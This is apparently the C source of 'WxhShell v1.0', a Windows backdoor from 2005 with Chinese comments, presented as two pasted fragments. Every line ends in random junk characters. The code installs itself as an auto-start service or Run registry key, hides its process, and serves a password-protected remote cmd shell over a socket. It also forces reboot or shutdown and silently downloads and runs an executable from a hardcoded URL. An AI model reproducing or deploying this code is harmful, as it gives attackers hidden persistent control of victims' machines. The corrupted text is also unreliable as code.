  case 'd': { [K*>W[n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `4@_Y<  
    if(Boot(SHUTDOWN)) i*T>, z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y$@?Y/rhR  
    else { z_A:MoYf o  
    closesocket(wsh); g9rsw7  
    ExitThread(0); Po~u-5  
    } RPXkf71iM  
    break; q h+c}"4m  
    } gz,x6mnQ  
  // 获取shell ~> xVhd  
  case 's': { ]0 g$3  
    CmdShell(wsh); ^:(:P9h  
    closesocket(wsh); b <1k$0J6  
    ExitThread(0); nB8JdM2h{  
    break; -F]0Py8(  
  } cAL*Md8+  
  // 退出 "TLY:V  
  case 'x': { n#NE.ap$&,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _olhCLIR-  
    CloseIt(wsh); Ot^<:\< `G  
    break; A`H&" A  
    } >z,SN  
  // 离开 6F@2:]W  
  case 'q': { {m<NPtp910  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EYsf<8cl  
    closesocket(wsh); [pc6!qhDG&  
    WSACleanup(); _YT9zG  
    exit(1); kOQq+_Y  
    break; f19~B[a  
        } ftw@nQNU  
  } aS7%x>.A!  
  } 09r0Rb  
P+h p'YK1  
  // 提示信息 +1R qo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1z#0CX}Y/H  
} TqZ&X| G  
  } [h3y8O  
JyfWy  
  return; MgP6ki1z  
} u`Sg'ro  
*1>zE>nlP  
// shell模块句柄 C4`u3S  
int CmdShell(SOCKET sock) :.K#=ROP  
{ #Is/j =  
STARTUPINFO si; 9uRs@]i  
ZeroMemory(&si,sizeof(si)); + pq/:h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6pKb!JJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 60A E~  
PROCESS_INFORMATION ProcessInfo; S>'S4MJE`  
char cmdline[]="cmd"; RjOQSy3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DH5]Kzb/  
  return 0;  =Y0>b4  
} M[Kk43;QY!  
dp&bcR&#)  
// 自身启动模式 b')Lj]%;k  
int StartFromService(void) 2u> [[U1:  
{ \k8|3Y~g  
typedef struct i;yr=S,a0/  
{ &>0ape  
  DWORD ExitStatus; ]Q%|69H}B  
  DWORD PebBaseAddress; JLZ[sWP='  
  DWORD AffinityMask; z@_ 9.n]  
  DWORD BasePriority; pO;BX5(x  
  ULONG UniqueProcessId; |.s#m^"  
  ULONG InheritedFromUniqueProcessId; @ k`^Z5tN  
}   PROCESS_BASIC_INFORMATION; cITF=Ez  
|<YoH$.  
PROCNTQSIP NtQueryInformationProcess; mJ>@Dh3>G  
Q]?Lg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -quWnn/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F$;vPAxbK"  
CUS^j  
  HANDLE             hProcess;  F%}0q&  
  PROCESS_BASIC_INFORMATION pbi; GmA5E  
dZ kr#>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $p} /&  
  if(NULL == hInst ) return 0; E2PMcT{)_  
Rilr)$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]/_GHG9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [\j@_YYd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xSQ0]vE  
m^8KHa  
  if (!NtQueryInformationProcess) return 0; 4s Vr]p`  
""dX4^gtU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ic"n*SZa  
  if(!hProcess) return 0; 7jb{E+DrG  
CQq'x +{F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L?@ TF;  
`mI% Se  
  CloseHandle(hProcess); B>^5h?(lt  
Wgh4DhAW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~okIiC]#  
if(hProcess==NULL) return 0; .?TPoqs7Z  
-*?Y4}mK  
HMODULE hMod; ~N i#xa  
char procName[255]; 5>XrNc91  
unsigned long cbNeeded; xr2ew%&o  
C~2/ 5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NZ\aK}?~!  
Z66b>.<8  
  CloseHandle(hProcess); LE15y>  
iwHy!Vi-5  
if(strstr(procName,"services")) return 1; // 以服务启动 cU y,q]PO  
/nK)esB1L  
  return 0; // 注册表启动 bb6 ~H  
} @~!1wPvF`I  
dBV^Khf J  
// 主模块 ~YIGOL"?  
int StartWxhshell(LPSTR lpCmdLine) gyW*-:C  
{ ?kICYtY:_b  
  SOCKET wsl; )P^5L<q>|  
BOOL val=TRUE; u}QB-oU  
  int port=0; 7k<4/|CQ{  
  struct sockaddr_in door; vT<q zN  
zS Yh ?NB5  
  if(wscfg.ws_autoins) Install(); Fr%LV#Q  
x8a?I T.  
port=atoi(lpCmdLine); LE_1H >  
8s4y7%,|  
if(port<=0) port=wscfg.ws_port; lN,8(n?g  
q8:Z.<%8  
  WSADATA data; K_V44f1f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \?,'i/c-  
(89NK]2x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >'i d/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $'f<4  
  door.sin_family = AF_INET; U.oxLbJ`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x@+m _y  
  door.sin_port = htons(port); '3>kDH+  
j+3~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6 ^X$;  
closesocket(wsl); XA~Rn>7&H  
return 1; Q dKxuG  
} 4z-sR/d  
}>JFO:v&  
  if(listen(wsl,2) == INVALID_SOCKET) { y2V9!  
closesocket(wsl); ^R.#n[-r2  
return 1; _=Y]ZX`j  
} 4#uWj ?u  
  Wxhshell(wsl); 40pGu  
  WSACleanup(); 8<$6ufvOv  
&\][:kG;  
return 0; c'_-jdi`>_  
wVBY^TE  
} /)SwQgK#  
*b?C%a9  
// 以NT服务方式启动 65VnH=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZVpMR0!  
{ <@n/[ +3  
DWORD   status = 0; U">D_ 8  
  DWORD   specificError = 0xfffffff; TH2D;uv  
Wy%q9x]}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @.fuR#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4KE"r F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p_Fc:%j>  
  serviceStatus.dwWin32ExitCode     = 0; QBa1c-Y  
  serviceStatus.dwServiceSpecificExitCode = 0; e#K =SV!H  
  serviceStatus.dwCheckPoint       = 0; !v|j C  
  serviceStatus.dwWaitHint       = 0; )((Jnm D  
9|dgmEd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~oI7TP  
  if (hServiceStatusHandle==0) return; @L^2VVWk^  
$rDeI-)S  
status = GetLastError(); KotJ,s]B  
  if (status!=NO_ERROR) $j^Jj  
{ / Dj6Bj }  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \`o+Le+%  
    serviceStatus.dwCheckPoint       = 0; .MuS"R{y  
    serviceStatus.dwWaitHint       = 0; $b\`N2J-_  
    serviceStatus.dwWin32ExitCode     = status; Lm\N`  
    serviceStatus.dwServiceSpecificExitCode = specificError;  W-@A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^8aj\xe(  
    return; bC?uy o"  
  } qSj2=dlW  
A] pLq`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; QRXsLdf$$  
  serviceStatus.dwCheckPoint       = 0; q2 D2:0^2  
  serviceStatus.dwWaitHint       = 0; 8Wid.o-U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CQ2{5  
} }6.R.*Imz  
#gi0FXL  
// 处理NT服务事件,比如:启动、停止 y%k\=:m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~WU _u,:  
{ /ZZo`   
switch(fdwControl) Jt"0|+g|  
{ *}Zd QJL  
case SERVICE_CONTROL_STOP: MhNzmI&`  
  serviceStatus.dwWin32ExitCode = 0; ~YOwg\w^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]K0<DO9  
  serviceStatus.dwCheckPoint   = 0; uQWJ7Xm  
  serviceStatus.dwWaitHint     = 0; DCM ,|FE  
  { zx'G0Z9]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bp 6jF2  
  } R!;tF|]  
  return; 5b3Wt7  
case SERVICE_CONTROL_PAUSE: _ 0%sYkUc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jI(~\`  
  break; EcrM`E#kaZ  
case SERVICE_CONTROL_CONTINUE: iU{bPyz ,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  y$7Fq'  
  break; g !w7Yv  
case SERVICE_CONTROL_INTERROGATE: }UZ$<81=  
  break; aiGT!2  
}; /]2-I_WB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +[8s9{1{C  
} 1HL}tG?+#  
GrjL9+|x  
// 标准应用程序主函数 TAl py$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^;n,C+  
{ Lg pj<H[  
N,V %/O{Y  
// 获取操作系统版本 |[(4h  
OsIsNt=GetOsVer(); e@*Gnh<&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :q S=_!1  
{uh]b (}s)  
  // 从命令行安装 x:b 0G  
  if(strpbrk(lpCmdLine,"iI")) Install(); )Xg,;^  
kc^ Q ?-?  
  // 下载执行文件 ]H0BUg  
if(wscfg.ws_downexe) { S:/;|Dg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,Y=r] fk  
  WinExec(wscfg.ws_filenam,SW_HIDE); P}N%**>`  
} 1U.se` L  
8:0QIkqk  
if(!OsIsNt) { ~?m';  
// 如果时win9x,隐藏进程并且设置为注册表启动 wQWokpP;T7  
HideProc(); ZXljCiNn+\  
StartWxhshell(lpCmdLine); zM"OateA  
} } *|_P  
else f!a[+^RB:  
  if(StartFromService()) YlwCl4hq  
  // 以服务方式启动 cOcF VPQ  
  StartServiceCtrlDispatcher(DispatchTable); A#M#JI-Y  
else .x5Y fe  
  // 普通方式启动 |8PUmax  
  StartWxhshell(lpCmdLine); <KqZ.7XfB  
y[Zl,v7  
return 0; t%ye :  
} =($RT  
I]bqle0M  
8PB(<|}u  
,@jRe&6  
=========================================== Rnt&<|8G  
=Ig'Aw$x  
K)~ m{  
*,5V;7OR  
_}R?&yO  
$'*@g1v Y  
" J * $u  
*gfx'$  
#include <stdio.h> vJVL%,7  
#include <string.h> G[n^SEY!  
#include <windows.h> 8-5MGh0L  
#include <winsock2.h> Hq[d!qc  
#include <winsvc.h> =)vmX0vL  
#include <urlmon.h> U1bhd}MoR  
eBX#^  
#pragma comment (lib, "Ws2_32.lib") !cPiH6eO  
#pragma comment (lib, "urlmon.lib") {i y[8eLg  
jOj`S%7  
#define MAX_USER   100 // 最大客户端连接数 ?F]Yebp^  
#define BUF_SOCK   200 // sock buffer :L#t?~  
#define KEY_BUFF   255 // 输入 buffer QEK,mc3  
&54fFyJF  
#define REBOOT     0   // 重启 yG|^-O}L  
#define SHUTDOWN   1   // 关机 ;SoKX?up5  
O^ZOc0<  
#define DEF_PORT   5000 // 监听端口 < .&t'W  
FVM:%S JjT  
#define REG_LEN     16   // 注册表键长度 Ab`mID:  
#define SVC_LEN     80   // NT服务名长度 s8Kf$E^?e.  
B2t.;uz(,  
// 从dll定义API Z_Jprp{3h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ug02G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H~E(~fl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j_S///  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =<w6yeko  
w='1uV<6  
// wxhshell配置信息 Sp$~)f'  
struct WSCFG { YY-{&+,  
  int ws_port;         // 监听端口 )w];eF0c  
  char ws_passstr[REG_LEN]; // 口令 l<5O\?Vo]  
  int ws_autoins;       // 安装标记, 1=yes 0=no :acnrW>i[@  
  char ws_regname[REG_LEN]; // 注册表键名 +;~JHx.~X  
  char ws_svcname[REG_LEN]; // 服务名 OrP-+eg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3|zqEGT*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f"t\-ux.b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9z7^0Ruw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fTiqY72h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vw=OGjT_>m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YVt#( jl  
KtzoL#CT  
}; wP28IB:^  
/.<%y 8v  
// default Wxhshell configuration [.4R ,[U  
struct WSCFG wscfg={DEF_PORT, hZ|*=/3k  
    "xuhuanlingzhe", 2KVMQH`B9  
    1, Awl4*J~  
    "Wxhshell", N %N %  
    "Wxhshell", |_L\^T|6  
            "WxhShell Service", ry9%Y3  
    "Wrsky Windows CmdShell Service", jn vJ`7zFP  
    "Please Input Your Password: ", [uK*=K/v  
  1, dr0<K[S_  
  "http://www.wrsky.com/wxhshell.exe", DQO~<E6c  
  "Wxhshell.exe" ~_ss[\N  
    }; taOD,}c|$  
*y[i~{7:  
// 消息定义模块 q[p+OpA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {^>dQ+Sx7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OAPR wOQ^=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !4-B xeNY\  
char *msg_ws_ext="\n\rExit."; 19-|.9m(  
char *msg_ws_end="\n\rQuit."; @wO"?w(  
char *msg_ws_boot="\n\rReboot..."; 'o=`1I  
char *msg_ws_poff="\n\rShutdown..."; rT$J0"*=  
char *msg_ws_down="\n\rSave to "; ufF$7@(+  
!G E-5\*  
char *msg_ws_err="\n\rErr!"; ut z.  
char *msg_ws_ok="\n\rOK!"; 2u 8z>/G  
SXX6EIJr|  
char ExeFile[MAX_PATH]; #xL^S9P  
int nUser = 0; l`c&nf6  
HANDLE handles[MAX_USER]; S1oRMd)r  
int OsIsNt; ,)%al76E  
xo{3r\u?}  
SERVICE_STATUS       serviceStatus; MT{7I"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;M{@|z[Nv  
*L_+rJj,  
// 函数声明 ^q``f%Xt  
int Install(void); Lc,`  
int Uninstall(void); Cv7FVl-I  
int DownloadFile(char *sURL, SOCKET wsh); uNnx i  
int Boot(int flag); M$&aNt;  
void HideProc(void); V,t&jgG*  
int GetOsVer(void); ^8dd  
int Wxhshell(SOCKET wsl); SF$'$6x}  
void TalkWithClient(void *cs); >C,=elM  
int CmdShell(SOCKET sock); g+>$_s  
int StartFromService(void); lm'L-ZPN  
int StartWxhshell(LPSTR lpCmdLine); bvdAOvxChW  
S!!i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vs@[="  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9WN 4eC$  
>q+o MrU  
// 数据结构和表定义 G#{ Xd6L  
SERVICE_TABLE_ENTRY DispatchTable[] = Vgy}0pCl  
{  d+FS  
{wscfg.ws_svcname, NTServiceMain}, s9t`!  
{NULL, NULL} ^7Sk`V  
}; }yM /z  
r![RRa^  
// 自我安装 i4 BCm/h  
int Install(void) 76e%&ZG)Q  
{ ,S"a ,}8  
  char svExeFile[MAX_PATH]; {&tbp Bl#  
  HKEY key; ?^TjG)e7  
  strcpy(svExeFile,ExeFile); l :sZ  
J:s^F n  
// 如果是win9x系统,修改注册表设为自启动 fq^D<c{3  
if(!OsIsNt) { 3;fuz Kk@b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5Ym/'eT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q ld2<W  
  RegCloseKey(key); z}I4m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X\X* -.]{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `[T|Ck5  
  RegCloseKey(key); lMpjE  
  return 0; (r8Rb*OP  
    } UhQsT^b_  
  } Jjt'R`t%t  
} .j*muDVQn  
else { HsA4NRF'7  
J*)Vpk  
// 如果是NT以上系统,安装为系统服务 1.7tXjRd+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q}-q[p? 5  
if (schSCManager!=0)  _N`:NOM  
{ #=)(t${7'  
  SC_HANDLE schService = CreateService T &.ZeB1  
  ( u,<#z0R|;$  
  schSCManager, /cn=8%!N  
  wscfg.ws_svcname, < C54cO  
  wscfg.ws_svcdisp, ;{Cr+lqTJ  
  SERVICE_ALL_ACCESS, :f^ =~#!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oj.f uJD  
  SERVICE_AUTO_START, 2qEm,x'S  
  SERVICE_ERROR_NORMAL, {J`Zl1_q  
  svExeFile, qTM,'7Rwn  
  NULL, \x JGR!  
  NULL, sSVgDQ~q  
  NULL, \A gPkW  
  NULL, X"V,3gDG  
  NULL -phwzR\(t  
  ); rUC@Bf  
  if (schService!=0) #]nH$Kq  
  { b&k !DeE  
  CloseServiceHandle(schService); \B _g=K  
  CloseServiceHandle(schSCManager); c(@V t&gE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Gc=#  
  strcat(svExeFile,wscfg.ws_svcname); g~FA:R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <0,c{e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  m9My  
  RegCloseKey(key); B%HG7  
  return 0; Xy{\>}i]N  
    } +bwSu)k  
  } l4c9.'6  
  CloseServiceHandle(schSCManager); =]r<xON%S  
} YXCfP~i  
} C[h"w'A2  
0eQwi l@  
return 1; h+o-h4X  
} c#eV!fl>&  
s{v!jZ  
// 自我卸载 SH# -3&$[  
int Uninstall(void) FX QUj&9  
{  uY]nqb  
  HKEY key; I f9t^T#  
d_CY=DHF%`  
if(!OsIsNt) { PPiN`GM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RJ/4T#b"+  
  RegDeleteValue(key,wscfg.ws_regname); 0pT?qsM2  
  RegCloseKey(key); ?LU]O\p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RY=B>398:  
  RegDeleteValue(key,wscfg.ws_regname); d(u"^NH;  
  RegCloseKey(key); Y<lJj"G  
  return 0; =aM(r6 C  
  } V gLnpPOQ  
} I5[HD_g:  
} &S/@i|_  
else { 3ZO\P u  
y; LL^:rq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nM*-Dy3ou  
if (schSCManager!=0) L;d(|7BVv  
{ BeAkG_uG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JQCQpn/  
  if (schService!=0) *3;H6   
  { fUy:TCS  
  if(DeleteService(schService)!=0) { @VlDi1  
  CloseServiceHandle(schService); iTf]Pd'  
  CloseServiceHandle(schSCManager); {C6,h#|pg  
  return 0; DEj6 ky  
  } .EJo 9s'  
  CloseServiceHandle(schService); B(+J?0Dj  
  } 9F[k;Uw  
  CloseServiceHandle(schSCManager); Bp #:sAG  
} n#F:(MSOp  
} O}Y& @V%4k  
/DxaKZ ;b  
return 1; J9+< 9g4-t  
} Tw^b!74gq  
Npq_1L  
// 从指定url下载文件 Tf [o'=2  
int DownloadFile(char *sURL, SOCKET wsh) ~.-o*  
{ b#XY.+ *0  
  HRESULT hr; tGq0f"}'J  
char seps[]= "/"; lOk'stLNa&  
char *token; -+9,RtHR7  
char *file; JL[xrK0  
char myURL[MAX_PATH]; O7&6]/`  
char myFILE[MAX_PATH]; g9N_s,3jC  
IrIF 853g  
strcpy(myURL,sURL); 7RE'KH_$  
  token=strtok(myURL,seps); a#Yo^"*1  
  while(token!=NULL) :=CRsQAn  
  { M`1pze_A  
    file=token; =a!w)z_rw  
  token=strtok(NULL,seps); >fX_zowX  
  } /j}"4_. 8  
-SF *DZ  
GetCurrentDirectory(MAX_PATH,myFILE); Vifh`BSP  
strcat(myFILE, "\\"); aJAQ G  
strcat(myFILE, file);  ' ];|  
  send(wsh,myFILE,strlen(myFILE),0); o \r6 iO  
send(wsh,"...",3,0); ~Vh< mt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1MVzu7  
  if(hr==S_OK) VMa \?`fT  
return 0; Y*}xD;c k  
else .=I:cniw\r  
return 1; T~&9/%$F  
7[ 82~jM[  
} 2.6F5&:($  
#.Q8q  
// 系统电源模块 zG"*B_l}+  
int Boot(int flag) R:[IH2F s  
{ qFV }Y0w  
  HANDLE hToken; Z+3j>_Ss  
  TOKEN_PRIVILEGES tkp; "}91wfG9  
J.t tJOP  
  if(OsIsNt) { 948lL&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~a5-xWEZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zJxO\  
    tkp.PrivilegeCount = 1; `fL81)!jI#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f>i" j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /kK%}L_D  
if(flag==REBOOT) { jE.yT(+lW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *F_ dP  
  return 0; I4Y; 9Gg  
} Hea76P5$P+  
else { K0YUN^St  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5:T)hoF@  
  return 0; .#BWu(EYV  
} < .\2 Ec  
  } 2A,iY}R  
  else { - C  
if(flag==REBOOT) { `8D)j>Yh~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'K8emt$d+  
  return 0; |o5F%1o  
} [0lu&ak[&  
else { M8,_E\*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y +[Z,   
  return 0; S1`;2mAf*  
} 4ne95_i  
} XZ3)gYQi  
!(&N{NH9  
return 1; `H#G/zOr  
} v})-:  
~?BN4ptc  
// win9x进程隐藏模块 S,'y L7s  
void HideProc(void) s .xJ},E9  
{ k`u:Cz#aB  
Fh3>y2 `/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kCuIEv@  
  if ( hKernel != NULL ) "=/YPw^0  
  { kpQXnDm 2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j)vfI>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,[j'OyR  
    FreeLibrary(hKernel); U> @st="  
  } QL{^  
R{X@@t9@  
return; E#T6rd P  
} Pv>W`/*_,s  
$ M8ZF(W  
// 获取操作系统版本 ;t_'87h$y  
int GetOsVer(void)  ?[`*z?}  
{ O:hCUr  
  OSVERSIONINFO winfo; kM>Bk \  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); = MP?aH [  
  GetVersionEx(&winfo); 555*IT3b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (n>gC  
  return 1; >0kZ-M5  
  else G[[hC[}I  
  return 0; H`XE5Hk)P%  
} a7_&;  
=D@+_7\?  
// 客户端句柄模块 m&36$>r=  
int Wxhshell(SOCKET wsl) x KZLXQ'e-  
{ 7"iUyZ(  
  SOCKET wsh;  Q9!T@  
  struct sockaddr_in client; T/b%,!N)  
  DWORD myID; &.ENcEic  
HF\|mL  
  while(nUser<MAX_USER) \TF='@u.  
{ R}S@u@mOE  
  int nSize=sizeof(client); lebwGW,!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \*(A1Vk  
  if(wsh==INVALID_SOCKET) return 1; O8\dMb  
5ml#/kE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !pwY@} oL  
if(handles[nUser]==0) ROv(O;.Ty  
  closesocket(wsh); a*oqhOTQ  
else Bj-80d,  
  nUser++; +Ui @3Q  
  } I>(3\z4s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \@3B%RW0  
9MI~yIt`L  
  return 0; p#yq'kY  
} Xv~v=.HNhk  
)Td;2  
// 关闭 socket 5Q9nJC{'NN  
void CloseIt(SOCKET wsh) ?hXeZB+b4  
{ R[%ZyQ_  
closesocket(wsh); [i&EUvo  
nUser--; - s}  
ExitThread(0); $P{|^ou3a#  
} f<$>?o&y  
u@"nVHgMJ  
// 客户端请求句柄 D<DSK~  
void TalkWithClient(void *cs) e?V7<7$  
{ x+=Ko  
$CXMeY{tOo  
  SOCKET wsh=(SOCKET)cs; s5 P~feg  
  char pwd[SVC_LEN]; n.323tNY  
  char cmd[KEY_BUFF]; %YH+=b:uW  
char chr[1]; C`++r>  
int i,j; MHm=X8eg  
G~ldU: ?  
  while (nUser < MAX_USER) { ?3 #W7sF  
N 9.$--X}D  
if(wscfg.ws_passstr) { ? bq S{KF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4dB6cg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B*zR/?U^  
  //ZeroMemory(pwd,KEY_BUFF); 6r x%>\UkS  
      i=0; "\n,vNk  
  while(i<SVC_LEN) { Gl4(-e'b  
D.i(Irqw!  
  // 设置超时 >BDK?YMx  
  fd_set FdRead; P?zPb'UVqa  
  struct timeval TimeOut; ^h c&rD)_  
  FD_ZERO(&FdRead); %y{f] m  
  FD_SET(wsh,&FdRead); wa #$9p~Q  
  TimeOut.tv_sec=8; Q?Y\WD  
  TimeOut.tv_usec=0; -$@$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5Oa`1?C1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >I~$h,  
~)Z MGx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .[@TC@W  
  pwd=chr[0]; <;O -N=  
  if(chr[0]==0xd || chr[0]==0xa) { cJ}J4?  
  pwd=0; qHGwD20 ~  
  break; yU e7o4Zm  
  } p}b:(QN~m  
  i++; J$]-)`[G&  
    } @y|ZXPC#  
z ?3G`  
  // 如果是非法用户,关闭 socket 4/z K3%J  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vM.Y/,7S  
} 8RA]h?$$J  
J'Z!`R|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZQ%4]=w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); up# R9 d|  
d(=*@epjR  
while(1) { y@T 0 jI  
d){o#@  
  ZeroMemory(cmd,KEY_BUFF); JGJy_.C  
![>j`i  
      // 自动支持客户端 telnet标准   8)NQt$lWp  
  j=0; l/wdu(  
  while(j<KEY_BUFF) { "vH>xBR[%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $X>$)U'p&-  
  cmd[j]=chr[0]; o'Uaz*-po  
  if(chr[0]==0xa || chr[0]==0xd) { Pl>BTo>p'  
  cmd[j]=0; hk +@ngh%  
  break; LNA5!E  
  } [i9.#*  
  j++; \8KAK3i'  
    } g }%$VUSA  
bzl-|+!yB  
  // 下载文件 M6j!_0j  
  if(strstr(cmd,"http://")) { "-WEUz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %u)niY-g  
  if(DownloadFile(cmd,wsh)) !"G|y4O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cLZaQsS%  
  else ,>AA2@6zMT  
